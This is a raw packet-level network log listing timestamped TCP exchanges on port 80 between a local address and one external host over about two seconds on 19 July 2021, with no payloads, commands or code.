Jul 19, 2021 18:36:32.474694967 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.474780083 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.475429058 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.475929022 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.476017952 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.476494074 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.476893902 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.476911068 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.476977110 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.477003098 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.481551886 CEST	49977	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.551008940 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.551042080 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.551151037 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.551968098 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.551991940 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.552051067 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.552078962 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.553554058 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.553658009 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.553936958 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.554037094 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.556845903 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.556965113 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.565026999 CEST	80	49977	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.565140009 CEST	49977	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.565989971 CEST	49977	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.631985903 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.632472992 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.632920980 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.633053064 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.633564949 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.633651972 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.633819103 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.634913921 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.634973049 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.635157108 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.635193110 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.649538040 CEST	80	49977	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.651173115 CEST	80	49977	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.653369904 CEST	49977	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.710772991 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.710799932 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.712440014 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.720782042 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.721019983 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.761984110 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.840431929 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.852468014 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:32.852603912 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.927942991 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.928277969 CEST	49977	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.929902077 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:32.966847897 CEST	49980	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.006052971 CEST	80	49976	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.006309986 CEST	49976	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.010519028 CEST	80	49977	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.011401892 CEST	49977	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.013463974 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.014069080 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.014432907 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.014456987 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.014781952 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.015045881 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.067239046 CEST	80	49980	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.067513943 CEST	49980	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.068345070 CEST	49980	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.099195957 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.099222898 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.099281073 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.099606037 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.099663019 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.099679947 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.099790096 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.099864006 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.099890947 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.099911928 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.099982977 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.100256920 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.100275040 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.100342035 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.100368977 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.101012945 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.101037979 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.101141930 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.101418972 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.101784945 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.105492115 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.105693102 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.167251110 CEST	80	49980	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.167284966 CEST	80	49980	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.167417049 CEST	49980	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.182147980 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.182202101 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.182286024 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.182341099 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.182413101 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.182591915 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.182893991 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.182910919 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.183013916 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.183051109 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.183435917 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.183554888 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.184180975 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.184216976 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.184283972 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.184318066 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.189487934 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.189791918 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.233511925 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.234122992 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.265364885 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.265397072 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.265506983 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.265548944 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.265566111 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.265863895 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.265881062 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.266100883 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.266122103 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.266858101 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.266885996 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.266901016 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.267062902 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.267077923 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.272375107 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.272403955 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.272516012 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.280894041 CEST	49980	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.281400919 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.289376974 CEST	49981	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.316745996 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.316812038 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.348337889 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.348371983 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.348567009 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.348582983 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.364011049 CEST	80	49979	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.364104986 CEST	49979	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.369467974 CEST	80	49981	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.369612932 CEST	49981	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.371328115 CEST	49981	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.379252911 CEST	80	49980	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.380039930 CEST	49980	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.386568069 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.450875044 CEST	80	49981	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.450907946 CEST	80	49981	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.451003075 CEST	49981	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.467283964 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.467442036 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.468775988 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.469058990 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.469435930 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.469638109 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.549107075 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.549134970 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.549501896 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.549832106 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.549973965 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.550045013 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.550106049 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.550806046 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.550827026 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.550908089 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.551176071 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.551295042 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.551453114 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.551548958 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.552586079 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.552606106 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.552751064 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.553713083 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.553807020 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.559093952 CEST	49981	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.560234070 CEST	49983	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.627902031 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.627933025 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.627949953 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.628040075 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.628081083 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.628102064 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.628566027 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.628587961 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.628767014 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.628810883 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.628974915 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.628995895 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.629059076 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.629086971 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.629610062 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.629726887 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.630830050 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.631571054 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.633985043 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.634666920 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.638648987 CEST	80	49981	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.639486074 CEST	49981	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.639914989 CEST	80	49983	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.640225887 CEST	49983	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.641140938 CEST	49983	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.707283974 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.707302094 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.707458973 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.708039999 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.708058119 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.708632946 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.708647966 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.708915949 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.710175037 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.710191965 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.711899042 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.712455988 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.712472916 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.712487936 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.721350908 CEST	80	49983	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.721370935 CEST	80	49983	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.721688032 CEST	49983	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.786063910 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.786092043 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.786107063 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.786115885 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.786125898 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.795438051 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.795608044 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.824450016 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.824737072 CEST	49983	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.825695038 CEST	49984	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.902411938 CEST	80	49982	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.902611017 CEST	49982	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.903321981 CEST	80	49983	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.903435946 CEST	49983	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.923023939 CEST	80	49984	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:33.923418999 CEST	49984	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.923573971 CEST	49984	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:33.989263058 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.020864010 CEST	80	49984	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.020895004 CEST	80	49984	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.021004915 CEST	49984	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.066874027 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.067002058 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.068115950 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.068305969 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.068470955 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.068574905 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.137087107 CEST	49984	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.138467073 CEST	49986	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.145606041 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.145637035 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.145929098 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.145948887 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.145963907 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.146025896 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.146030903 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.146048069 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.146073103 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.146083117 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.146120071 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.146138906 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.146153927 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.147785902 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.225621939 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225646973 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225662947 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225677967 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225692987 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225708961 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225723982 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225744009 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225754023 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.225761890 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225778103 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225795984 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225811958 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.225812912 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.225831985 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.225838900 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.225841045 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.231489897 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.232626915 CEST	80	49986	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.233568907 CEST	49986	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.234028101 CEST	80	49984	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.234256983 CEST	49984	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.264461040 CEST	49986	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.303944111 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.304126024 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.359025955 CEST	80	49986	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.359055996 CEST	80	49986	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.359445095 CEST	49986	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.382636070 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.382659912 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.382669926 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.382745981 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.382812977 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.383249998 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.383394003 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.460386038 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.460412025 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.465517998 CEST	49986	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.466587067 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.471584082 CEST	80	49985	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.477929115 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.550211906 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.550406933 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.551184893 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.558870077 CEST	80	49986	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.559065104 CEST	49986	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.635005951 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.635138988 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.635260105 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.685796022 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.686048985 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.686353922 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.686654091 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.746656895 CEST	49985	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.748452902 CEST	49988	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.769435883 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.769455910 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.769833088 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.769980907 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.770031929 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.770100117 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.770148993 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.770215034 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.770268917 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.770365953 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.770946980 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.771034956 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.771162987 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.771240950 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.771511078 CEST	80	49987	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:34.771604061 CEST	49987	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:34.771660089 CEST	80	49987	185.114.247.54	192.168.2.6
